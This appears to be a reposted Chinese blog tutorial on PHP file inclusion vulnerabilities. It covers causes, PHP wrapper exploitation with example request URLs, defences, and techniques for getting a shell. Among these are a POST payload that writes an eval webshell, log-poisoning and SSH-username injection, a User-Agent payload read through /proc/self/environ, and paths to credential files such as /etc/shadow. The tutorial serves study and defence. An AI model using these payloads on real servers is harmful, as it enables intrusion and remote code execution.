【web安全】文件包含漏洞
目录
1.什么是文件包含漏洞
2.产生原因
3.文件包含的类型
3.1本地文件包含
3.2远程文件包含
4.攻击利用手法
4.1 file:协议
4.2 php://协议
4.3 zip://,bzip2://,zlib://协议
4.4 data://协议
4.5 PHP伪协议总结
5.如何防御?
6.常见系统的默认路径
7.文件包含漏洞的奇技淫巧
LFI+日志文件getshell
配合文件上传漏洞
配合路径遍历漏洞
配合session文件
配合SSH日志
配合运行环境
1.什么是文件包含漏洞
想要了解文件包含漏洞,我们首先需要了解一下什么是文件包含?
后端编程人员一般会把重复使用的函数写到单个文件中,需要使用时再直接调用此文件即可,该过程就被称为文件包含。
文件包含(File Inclusion)是一些对文件操作的函数未经过有效过滤,运行了恶意传入的非预期的文件路径,导致敏感信息泄露或代码执行。如果文件中存在恶意代码,无论什么样的后缀类型,文件内的恶意代码都会以当前服务器的脚本语言所执行,这就导致了文件包含漏洞的产生。
随着网站的业务的需求,程序开发人员一般希望代码更加灵活,所以将被包含的文件设置为变量,用来进行动态调用,但是正是这种灵活性通过动态变量的方式引入需要包含的文件时,用户对这个变量可控而且服务端又没有做合理的校检或者校检被绕过就造成了文件包含漏洞。
2.产生原因
文件包含的存在使得开发变得更加灵活和方便,但同时也带了安全问题,导致客户端可以远程调用文件,造成文件包含漏洞。
实际上被包含文件可以是任意格式的,可以是图片、文本、源代码等等。只要文件被包含其内容也会被包含,并以当前服务器脚本语言执行。
大多数Web语言都支持文件包含操作,其中PHP语言所提供的文件包含功能太强大、太灵活,也就导致文件包含漏洞经常出现在PHP语言中。这里就以PHP语言为例,需要打开一下配置allow_url_fopen=On(默认为On)
规定是否允许从远程服务器或者网站检索数据。allow_url_include=On(php5.2之后默认为Off)
规定是否允许include/require远程文件。
PHP提供的可以文件包含的四个函数:
include():当使用该函数包含文件时,只有代码执行到include()函数时才将文件包含进来,发生错误时只给出一个警告(E_WARNING),继续向下执行;
include_once()功能与include()相同,区别在于当重复调用同一文件时,程序只调用一次;
require()与include()的区别在于require()执行如果发生错误(E_COMPILE_ERROR),函数会输出错误信息,并终止脚本的运行。
require_once()功能与require()相同,区别在于当重复调用同一文件时,程序只调用一次。
nighcight_file()、show_source()函数对文件进行语法高亮显示,通常能看到源代码。
readfile()、file_get_contents()函数读取一个文件,并写入输出缓冲。
fopen()函数打开一个文件或者url。
3.文件包含的类型
文件包含漏洞分为本地文件包含(Loacl File Inclusion,LFI)和远程文件包含(Remote File Inclusion,RFI)两种。攻击者通过文件包含漏洞可以读取系统中的敏感文件,还有可能导致任意代码执行漏洞。
3.1本地文件包含
本地文件包含漏洞指的是能打开并包含本地文件的漏洞,大部分情况下遇到的文件包含漏洞都是LFI,简单的测试用例如下所示。
<?php$filename = $_GET['file'];if(isset($file)){include("$file");}else{echo "file not found!";}
?>
3.2远程文件包含
远程文件包含漏洞是指能够包含远程服务器上的文件并执行。由于远程服务器的文件是我们可控的,因此漏洞一旦存在危害性会很大。
该类型需要当目标服务器开启一定配置时才可以使用,当php.ini中的配置选项allow_url_fopen=on、allow_url_include=on
4.攻击利用手法
4.1 file:协议
PHP.ini:
file:// 协议在双off的情况下也可以正常使用;
allow_url_fopen :off/on
allow_url_include:off/on
file:// 用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响
file:// [文件的绝对路径和文件名]
http://127.0.0.1/cmd.php?file=file://D:/software/phpStudy/WWW/phpinfo.txt
phpinfo.txt文件内容:
<?php phpinfo(); ?>
4.2 php://协议
条件:
不需要开启allow_url_fopen,仅php://input、 php://stdin、 php://memory 和 php://temp 需要开启allow_url_include。
php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码。
参考自:PHP: php:// - Manual
php://filter 读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了。
PHP.ini:
php://filter在双off的情况下也可以正常使用;
allow_url_fopen :off/on
allow_url_include:off/on
测试现象:
http://127.0.0.1/cmd.php?file=php://filter/read=convert.base64-encode/resource=./cmd.php
php://input 可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。
PHP.ini:
allow_url_fopen :off/on
allow_url_include:on
测试现象:
http://127.0.0.1/cmd.php?file=php://input
[POST DATA] <?php phpinfo()?>
也可以POST如下内容生成一句话: <?php fputs(fopen(“shell.php”,”w”),’<?php eval($_POST["cmd"];?>’);?>
4.3 zip://,bzip2://,zlib://协议
PHP.ini:
zip://, bzip2://, zlib://协议在双off的情况下也可以正常使用;
allow_url_fopen :off/on
allow_url_include:off/on
zip://, bzip2://, zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名。
参考自:PHP: zlib:// - Manual
4.3.1 zip://协议
zip://archive.zip#dir/file.txt
zip:// [压缩文件绝对路径]#[压缩文件内的子文件名]
测试现象:
http://127.0.0.1/cmd.php?file=zip://D:/soft/phpStudy/WWW/file.jpg%23phpcode.txt
先将要执行的PHP代码写好文件名为phpcode.txt,将phpcode.txt进行zip压缩,压缩文件名为file.zip,如果可以上传zip文件便直接上传,若不能便将file.zip重命名为file.jpg后在上传,其他几种压缩格式也可以这样操作。
由于#在get请求中会将后面的参数忽略所以使用get请求时候应进行url编码为%23,且此处经过测试相对路径是不可行,所以只能用绝对路径。
4.3.2 bzip2://协议
使用方法:
compress.bzip2://file.bz2
测试现象:
http://127.0.0.1/cmd.php?file=compress.bzip2://D:/soft/phpStudy/WWW/file.jpg
or
http://127.0.0.1/cmd.php?file=compress.bzip2://./file.jpg
4.3.3 zlib://协议
使用方法:
compress.zlib://file.gz
测试现象:
http://127.0.0.1/cmd.php?file=compress.zlib://D:/soft/phpStudy/WWW/file.jpg
or
http://127.0.0.1/cmd.php?file=compress.zlib://./file.jpg
4.4 data://协议
经过测试官方文档上存在一处问题,经过测试PHP版本5.2,5.3,5.5,7.0;data:// 协议是是受限于allow_url_fopen的,官方文档上给出的是NO,所以要使用data://协议需要满足双on条件
PHP.ini:
data://协议必须双在on才能正常使用;
allow_url_fopen :on
allow_url_include:on
参考自:PHP: data:// - Manual, 官方文档上allow_url_fopen应为yes。
测试现象:
http://127.0.0.1/cmd.php?file=data://text/plain,<?php phpinfo()?>
or
http://127.0.0.1/cmd.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
也可以:
http://127.0.0.1/cmd.php?file=data:text/plain,<?php phpinfo()?>
or
http://127.0.0.1/cmd.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
4.5 PHP伪协议总结
PHP封装协议在CTF蛮常见的,是经常会遇到的出题点,如下便是对本篇涉及的封装协议进行的总结,期待小伙伴的交流和补充。
上述中,php://filter,php://input,zip://这三个用的最多,就像data需要同时为on,条件太苛刻,几乎遇不到 。
5.如何防御?
1、访问路径限制
PHP中使用open_basedir
配置限制访问在指定的区域,限制被包含的文件只能是某一文件夹内。
2、过滤输入
过滤.
(点)/
(反斜杠)\
(反斜杠)等特殊字符,禁止目录跳转字符如../
。
3、关闭高危配置
PHP文件配置allow_url_include
和allow_url_fopen
最小权限化。
4、白名单 对需要包含的文件设置文件白名单,包含文件的验证。
5、避免参数
尽量不要使用动态包含,可以在需要包含的页面固定写好。
6.常见系统的默认路径
c:\boot.ini //查看系统版本
c:\windows\repair\sam //存储Windows系统初次安装的密码
c:\windows\win.ini
/etc/passwd //账户信息
/etc/shadow //账户密码文件
/var/lib/php/sess_PHPSESSID //存储session文件
7.文件包含漏洞的奇技淫巧
LFI+日志文件getshell
日志文件往往会包含我们的请求记录,如果我们知道日志的文件位置,那么我们就可以将恶意的php代码写入到日志中,然后再通过文件包含漏洞就可以执行相关的代码。
很多时候,web服务器会将请求写入到日志文件中,比如说apache。在用户发起请求时,会将请求写入access.log,当发生错误时将错误写入error.log。默认情况下,日志保存路径在 /var/log/apache2/。
配合文件上传漏洞
一般情况下,文件包含漏洞配合文件上传漏洞使用更佳。利用文件上传漏洞,将木马文件上传到相关目录下,再通过文件包含漏洞执行该木马。
配合路径遍历漏洞
一般情况下,通过路径遍历直接包含所要查看的文件。
配合session文件
php的session文件的保存路径可以在phpinfo的session.save_path看到。
常见存放位置:
- /var/lib/php/sess_PHPSESSID
- /var/lib/php/sess_PHPSESSID
- /tmp/sess_PHPSESSID
- /tmp/sessions/sess_PHPSESSID
session的文件名格式为sess_[phpsessid]。而phpsessid在发送的请求的cookie字段中可以看到。
配合SSH日志
使用ssh -pssh端口 '<?php phpinfo(); ?>'@ip地址
将恶意代码注入日志中,然后可包含该日志文件。
默认情况下为/var/log/auth.log
配合运行环境
php以cgi方式运行,这样environ才会保持UA头。environ文件存储位置已知且environ文件可读,/proc/self/environ
。
GET /index.php?file=../../../../proc/self/environ HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 <?phpinfo();?> Connection: close
【web安全】文件包含漏洞相关推荐
- Web安全——文件包含漏洞
一.文件包含漏洞 原理 文件包含漏洞是"代码注入"的一种.其原理就是注入一段用户能控制的脚本或代码,并让服务端执行."代码注入"的典型代表就是文件包含. ...
- Web安全—文件包含漏洞(RFILFI)
文件包含函数(RFI&LFI) ASP和JSP只能实现本地文件包含,PHP既可以本地文件包含也可以远程文件包含 1,文件包含漏洞简介: 在日常的应用开发中,开发者会将常用的功能模块单独实现,然 ...
- Web安全之文件包含漏洞
什么是文件包含 程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件.而无需再次编写,这种 文件调用的过程一般被称为文件包含. 例如:include "conn ...
- test.php.bak,记一次phpmyadmin 4.8.1 远程文件包含漏洞(BUUCTF web)
题目很简单,一个滑稽 打开源码,发现存在source.php文件 于是访问文件,发现出现一串php源码 提示存在hint.php,于是访问发现一句话 flag not here, and flag i ...
- Web安全:文件包含漏洞测试(防止 黑客利用此漏洞.)
Web安全:文件包含漏洞测试. 文件包含的漏洞是 程序员在开发网站的时候,为了方便自己开发构架,使用了一些包含的函数(比如:php开发语言,include() , include_once() , ...
- WEB漏洞—文件包含漏洞
介绍 所谓文件包含漏洞,故名思意,就是在文件中包含(引用)了其他文件所导致的漏洞.例如有些函数在不同代码中的作用都是相同的,在这里我们可以称呼它为"变量",那么这时程序员就会将该& ...
- WEB渗透之文件包含漏洞
1.文件包含 1.1原理: 服务器执行的php文件中可能包含木马文件或者恶意代码 1.2漏洞产生原因 1.web采用include()等文件包含函数通过动态变量的方式引入需要包含的文件 静态包含使用i ...
- Web漏洞之文件包含漏洞
公众号:黑客菌 分享更多技术文章,欢迎关注一起探讨学习 一.文件包含漏洞概述 1.漏洞介绍 程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,而无需再次编写,这种文件 ...
- WEB安全基础-文件下载漏洞以及文件包含漏洞演示
这个是下面演示的源码,看链接地址找对应文件 http://download.csdn.net/download/qq78442761/10224681 文件下载漏洞 登进网站后运行截图如下: 点击下载 ...
最新文章
- 一条命令下载google壁纸,含错误解决方法
- Canny-VO: 基于几何3D-2D边缘对准的RGB-D视觉里程计
- 让更多人能够使用Hadoop
- npm package.json文件解读
- 小明分享|nRF52840 蓝牙模块连接测试
- 【STM32】I2C详解
- 双主双从(2m-2s)集群介绍和工作流程说明
- Iterator 遍历器的简单使用
- .NET轻松写博客园爬虫
- 具有WildFly,Arquillian,Jenkins和OpenShift的Java EE 7部署管道
- thymeleaf模板引擎shiro集成框架
- SpringMVC 日期类型转换
- oracle 安装时的日志文件,oracle10g安装的日志文件 Oracle10g怎么查看操作日志
- 手机网页设计注意事项和解决方法
- 百行代码带你入门 vue-router!
- 未捕获的错误:始终违反:元素类型无效:预期为字符串(对于内置组件)或类/函数,但得到了:对象
- 拓端tecdat|R语言用Garch模型和回归模型对股票价格分析
- router中获取vuex_JS每日一题: 什么情况下适合使合vuex?Vuex使用中有几个步骤?...
- 关于 google 的 Percolator
- BMC REDFISH
热门文章
- Alios-Thins教程连载 ④ 图文并茂教你使用乐鑫esp8266轻松连接阿里飞燕平台,个人设备实现轻松对接天猫精灵 。(下篇)(附带demo)
- 【TB-02模组专题⑦】TB02二次开发玩转各种接入天猫精灵智能家居产品,彩灯、灯具、插座、单火线总有一款适合你。
- Mac电脑怎么使用ping命令?
- CISCO ASA设备任意文件读取漏洞复现 (CVE-2020-3452)
- Pytest + Selenium + Allure + Jenkins搭建简单自动化框架
- autoware 使用Bug汇总
- 工信部:个人可办网站,但需实名备案
- Canesten 项目申请ICP备案过程中遇到的问题及知识点扩充
- focusky html怎么转ppt,Focusky怎么转PPT_Focusky如何导入PPT_Focusky教程
- 主成分分析:PCA的思想及鸢尾花实例实现